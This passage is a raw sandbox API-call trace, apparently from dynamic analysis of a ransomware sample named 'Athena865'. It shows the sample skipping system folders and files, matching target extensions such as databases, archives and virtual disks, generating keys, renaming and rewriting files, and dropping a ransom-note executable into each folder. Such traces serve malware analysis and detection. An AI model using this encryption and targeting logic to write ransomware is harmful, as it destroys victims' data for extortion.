dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16d0, lpName=0x0) returned 0x154 [0119.624] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16d0) returned 0x100000 [0119.625] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.626] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.626] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.626] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538f00 [0119.626] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538f00 | out: hHeap=0x4f0000) returned 1 [0119.626] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0119.626] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.626] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.626] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.626] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0119.626] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.626] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.626] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.626] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0119.626] CloseHandle (hObject=0x154) returned 1 [0119.627] CloseHandle (hObject=0x17c) returned 1 [0119.627] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538f78 | out: hHeap=0x4f0000) returned 1 [0119.627] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.627] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.627] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1278, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Heart_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0119.627] lstrcmpiW (lpString1="Heart_SelectionSubpicture.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0119.627] lstrcmpiW (lpString1="Heart_SelectionSubpicture.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.627] lstrcpyW (in: lpString1=0x241e8a0, lpString2="Heart_SelectionSubpicture.png" | out: lpString1="Heart_SelectionSubpicture.png") returned="Heart_SelectionSubpicture.png" [0119.627] lstrlenW (lpString="Heart_SelectionSubpicture.png") returned 29 [0119.627] lstrlenW (lpString="Athena865") returned 9 [0119.627] lstrcmpiW (lpString1="cture.png", lpString2="Athena865") returned 1 [0119.627] lstrlenW (lpString=".dll") returned 4 [0119.627] lstrcmpiW (lpString1="Heart_SelectionSubpicture.png", lpString2=".dll") returned 1 [0119.627] lstrlenW (lpString=".lnk") returned 4 [0119.627] lstrcmpiW (lpString1="Heart_SelectionSubpicture.png", lpString2=".lnk") returned 1 [0119.627] lstrlenW (lpString=".ini") returned 4 [0119.627] lstrcmpiW (lpString1="Heart_SelectionSubpicture.png", lpString2=".ini") returned 1 [0119.627] lstrlenW (lpString=".sys") returned 4 [0119.627] lstrcmpiW (lpString1="Heart_SelectionSubpicture.png", lpString2=".sys") returned 1 [0119.627] lstrlenW (lpString="Heart_SelectionSubpicture.png") returned 29 [0119.628] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png.Athena865") returned 83 [0119.628] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png.athena865"), dwFlags=0x1) returned 1 [0119.628] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.629] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4728) returned 1 [0119.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538f78 [0119.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.629] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.630] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.630] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.630] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1580, lpName=0x0) returned 0x154 [0119.634] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1580) returned 0x100000 [0119.636] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.638] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.638] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.638] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538f00 [0119.638] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538f00 | out: hHeap=0x4f0000) returned 1 [0119.638] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0119.638] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.638] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.638] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.638] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0119.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.639] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0119.639] CloseHandle (hObject=0x154) returned 1 [0119.639] CloseHandle (hObject=0x17c) returned 1 [0119.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538f78 | out: hHeap=0x4f0000) returned 1 [0119.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.639] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eeebddb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eeebddb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x166e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Heart_VideoInset.png", cAlternateFileName="")) returned 1 [0119.639] lstrcmpiW (lpString1="Heart_VideoInset.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0119.639] lstrcmpiW (lpString1="Heart_VideoInset.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.639] lstrcpyW (in: lpString1=0x241e8a0, lpString2="Heart_VideoInset.png" | out: lpString1="Heart_VideoInset.png") returned="Heart_VideoInset.png" [0119.639] lstrlenW (lpString="Heart_VideoInset.png") returned 20 [0119.639] lstrlenW (lpString="Athena865") returned 9 [0119.640] lstrcmpiW (lpString1="Inset.png", lpString2="Athena865") returned 1 [0119.640] lstrlenW (lpString=".dll") returned 4 [0119.640] lstrcmpiW (lpString1="Heart_VideoInset.png", lpString2=".dll") returned 1 [0119.640] lstrlenW (lpString=".lnk") returned 4 [0119.640] lstrcmpiW (lpString1="Heart_VideoInset.png", lpString2=".lnk") returned 1 [0119.640] lstrlenW (lpString=".ini") returned 4 [0119.640] lstrcmpiW (lpString1="Heart_VideoInset.png", lpString2=".ini") returned 1 [0119.640] lstrlenW (lpString=".sys") returned 4 [0119.640] lstrcmpiW (lpString1="Heart_VideoInset.png", lpString2=".sys") returned 1 [0119.640] lstrlenW (lpString="Heart_VideoInset.png") returned 20 [0119.640] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png.Athena865") returned 74 [0119.640] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png.athena865"), dwFlags=0x1) returned 1 [0119.641] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.641] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5742) returned 1 [0119.641] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.641] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538f78 [0119.641] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.641] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.642] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.642] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.642] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1970, lpName=0x0) returned 0x154 [0119.644] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1970) returned 0x100000 [0119.644] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.645] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.645] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.645] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538f00 [0119.645] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538f00 | out: hHeap=0x4f0000) returned 1 [0119.645] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0119.645] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.645] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0119.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.646] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0119.646] CloseHandle (hObject=0x154) returned 1 [0119.646] CloseHandle (hObject=0x17c) returned 1 [0119.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538f78 | out: hHeap=0x4f0000) returned 1 [0119.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.646] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce4b88a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xce4b88a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0119.646] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0119.647] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HueCycle", cAlternateFileName="")) returned 1 [0119.648] lstrcmpiW (lpString1="HueCycle", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.648] lstrcmpiW (lpString1="HueCycle", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.648] lstrcpyW (in: lpString1=0x241e8a0, lpString2="HueCycle" | out: lpString1="HueCycle") returned="HueCycle" [0119.648] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cdc8 [0119.648] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6a) returned 0x538f78 [0119.648] lstrcatW (in: lpString1="HueCycle", lpString2="\\" | out: lpString1="HueCycle\\") returned="HueCycle\\" [0119.648] lstrcatW (in: lpString1="HueCycle\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HueCycle\\HOW TO BACK YOUR FILES.exe") returned="HueCycle\\HOW TO BACK YOUR FILES.exe" [0119.648] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\how to back your files.exe"), bFailIfExists=1) returned 1 [0119.652] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LayeredTitles", cAlternateFileName="LAYERE~1")) returned 1 [0119.652] lstrcmpiW (lpString1="LayeredTitles", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.652] lstrcmpiW (lpString1="LayeredTitles", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.652] lstrcmpiW (lpString1="LayeredTitles", lpString2=".") returned 1 [0119.652] lstrcmpiW (lpString1="LayeredTitles", lpString2="..") returned 1 [0119.652] lstrcmpiW (lpString1="LayeredTitles", lpString2="windows") returned -1 [0119.652] lstrcmpiW (lpString1="LayeredTitles", lpString2="bootmgr") returned 1 [0119.652] lstrcmpiW (lpString1="LayeredTitles", lpString2="temp") returned -1 [0119.652] lstrcmpiW (lpString1="LayeredTitles", lpString2="pagefile.sys") returned -1 [0119.652] lstrcmpiW (lpString1="LayeredTitles", lpString2="boot") returned 1 [0119.652] lstrcmpiW (lpString1="LayeredTitles", lpString2="ids.txt") returned 1 [0119.652] lstrcmpiW (lpString1="LayeredTitles", lpString2="ntuser.dat") returned -1 [0119.652] lstrcmpiW (lpString1="LayeredTitles", lpString2="perflogs") returned -1 [0119.652] lstrcmpiW (lpString1="LayeredTitles", lpString2="MSBuild") returned -1 [0119.652] lstrlenW (lpString="LayeredTitles") returned 13 [0119.652] lstrcpyW (in: lpString1=0x241e8a0, lpString2="LayeredTitles" | out: lpString1="LayeredTitles") returned="LayeredTitles" [0119.652] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cde0 [0119.652] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x74) returned 0x53c520 [0119.652] lstrcatW (in: lpString1="LayeredTitles", lpString2="\\" | out: lpString1="LayeredTitles\\") returned="LayeredTitles\\" [0119.652] lstrcatW (in: lpString1="LayeredTitles\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="LayeredTitles\\HOW TO BACK YOUR FILES.exe") returned="LayeredTitles\\HOW TO BACK YOUR FILES.exe" [0119.652] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\how to back your files.exe"), bFailIfExists=1) returned 1 [0119.657] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Memories", cAlternateFileName="")) returned 1 [0119.657] lstrcmpiW (lpString1="Memories", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.657] lstrcmpiW (lpString1="Memories", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.657] lstrcmpiW (lpString1="Memories", lpString2=".") returned 1 [0119.657] lstrcmpiW (lpString1="Memories", lpString2="..") returned 1 [0119.657] lstrcmpiW (lpString1="Memories", lpString2="windows") returned -1 [0119.657] lstrcmpiW (lpString1="Memories", lpString2="bootmgr") returned 1 [0119.657] lstrcmpiW (lpString1="Memories", lpString2="temp") returned -1 [0119.657] lstrcmpiW (lpString1="Memories", lpString2="pagefile.sys") returned -1 [0119.657] lstrcmpiW (lpString1="Memories", lpString2="boot") returned 1 [0119.657] lstrcmpiW (lpString1="Memories", lpString2="ids.txt") returned 1 [0119.657] lstrcmpiW (lpString1="Memories", lpString2="ntuser.dat") returned -1 [0119.657] lstrcmpiW (lpString1="Memories", lpString2="perflogs") returned -1 [0119.657] lstrcmpiW (lpString1="Memories", lpString2="MSBuild") returned -1 [0119.657] lstrlenW (lpString="Memories") returned 8 [0119.657] lstrcpyW (in: lpString1=0x241e8a0, lpString2="Memories" | out: lpString1="Memories") returned="Memories" [0119.657] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52aee8 [0119.657] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6a) returned 0x538f00 [0119.657] lstrcatW (in: lpString1="Memories", lpString2="\\" | out: lpString1="Memories\\") returned="Memories\\" [0119.657] lstrcatW (in: lpString1="Memories\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Memories\\HOW TO BACK YOUR FILES.exe") returned="Memories\\HOW TO BACK YOUR FILES.exe" [0119.657] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\how to back your files.exe"), bFailIfExists=1) returned 1 [0119.661] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e96ab6a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e96ab6a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12ea, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="menu_style_default_Thumbnail.png", cAlternateFileName="")) returned 1 [0119.661] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.661] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.661] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2=".") returned 1 [0119.661] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2="..") returned 1 [0119.661] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2="windows") returned -1 [0119.661] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2="bootmgr") returned 1 [0119.661] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2="temp") returned -1 [0119.661] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2="pagefile.sys") returned -1 [0119.661] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2="boot") returned 1 [0119.661] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2="ids.txt") returned 1 [0119.661] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2="ntuser.dat") returned -1 [0119.661] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2="perflogs") returned -1 [0119.661] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2="MSBuild") returned -1 [0119.661] lstrlenW (lpString="menu_style_default_Thumbnail.png") returned 32 [0119.661] lstrcpyW (in: lpString1=0x241e8a0, lpString2="menu_style_default_Thumbnail.png" | out: lpString1="menu_style_default_Thumbnail.png") returned="menu_style_default_Thumbnail.png" [0119.661] lstrlenW (lpString="menu_style_default_Thumbnail.png") returned 32 [0119.661] lstrlenW (lpString="Athena865") returned 9 [0119.661] lstrcmpiW (lpString1="bnail.png", lpString2="Athena865") returned 1 [0119.661] lstrlenW (lpString=".dll") returned 4 [0119.661] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2=".dll") returned 1 [0119.661] lstrlenW (lpString=".lnk") returned 4 [0119.662] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2=".lnk") returned 1 [0119.662] lstrlenW (lpString=".ini") returned 4 [0119.662] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2=".ini") returned 1 [0119.662] lstrlenW (lpString=".sys") returned 4 [0119.662] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2=".sys") returned 1 [0119.662] lstrlenW (lpString="menu_style_default_Thumbnail.png") returned 32 [0119.662] lstrlenW (lpString="bak") returned 3 [0119.662] lstrcmpiW (lpString1="png", lpString2="bak") returned 1 [0119.662] lstrlenW (lpString="ba_") returned 3 [0119.662] lstrcmpiW (lpString1="png", lpString2="ba_") returned 1 [0119.662] lstrlenW (lpString="dbb") returned 3 [0119.662] lstrcmpiW (lpString1="png", lpString2="dbb") returned 1 [0119.662] lstrlenW (lpString="vmdk") returned 4 [0119.662] lstrcmpiW (lpString1=".png", lpString2="vmdk") returned -1 [0119.662] lstrlenW (lpString="rar") returned 3 [0119.662] lstrcmpiW (lpString1="png", lpString2="rar") returned -1 [0119.662] lstrlenW (lpString="zip") returned 3 [0119.662] lstrcmpiW (lpString1="png", lpString2="zip") returned -1 [0119.662] lstrlenW (lpString="tgz") returned 3 [0119.662] lstrcmpiW (lpString1="png", lpString2="tgz") returned -1 [0119.662] lstrlenW (lpString="vbox") returned 4 [0119.662] lstrcmpiW (lpString1=".png", lpString2="vbox") returned -1 [0119.662] lstrlenW (lpString="vdi") returned 3 [0119.662] lstrcmpiW (lpString1="png", lpString2="vdi") returned -1 [0119.662] lstrlenW (lpString="vhd") returned 3 [0119.662] lstrcmpiW (lpString1="png", lpString2="vhd") returned -1 [0119.662] lstrlenW (lpString="vhdx") returned 4 [0119.662] lstrcmpiW (lpString1=".png", lpString2="vhdx") returned -1 [0119.662] lstrlenW (lpString="avhd") returned 4 [0119.662] lstrcmpiW (lpString1=".png", lpString2="avhd") returned -1 [0119.663] lstrlenW (lpString="db") returned 2 [0119.663] lstrcmpiW (lpString1="ng", lpString2="db") returned 1 [0119.663] lstrlenW (lpString="db2") returned 3 [0119.663] lstrcmpiW (lpString1="png", lpString2="db2") returned 1 [0119.663] lstrlenW (lpString="db3") returned 3 [0119.663] lstrcmpiW (lpString1="png", lpString2="db3") returned 1 [0119.663] lstrlenW (lpString="dbf") returned 3 [0119.663] lstrcmpiW (lpString1="png", lpString2="dbf") returned 1 [0119.663] lstrlenW (lpString="mdf") returned 3 [0119.663] lstrcmpiW (lpString1="png", lpString2="mdf") returned 1 [0119.663] lstrlenW (lpString="mdb") returned 3 [0119.663] lstrcmpiW (lpString1="png", lpString2="mdb") returned 1 [0119.663] lstrlenW (lpString="sql") returned 3 [0119.663] lstrcmpiW (lpString1="png", lpString2="sql") returned -1 [0119.663] lstrlenW 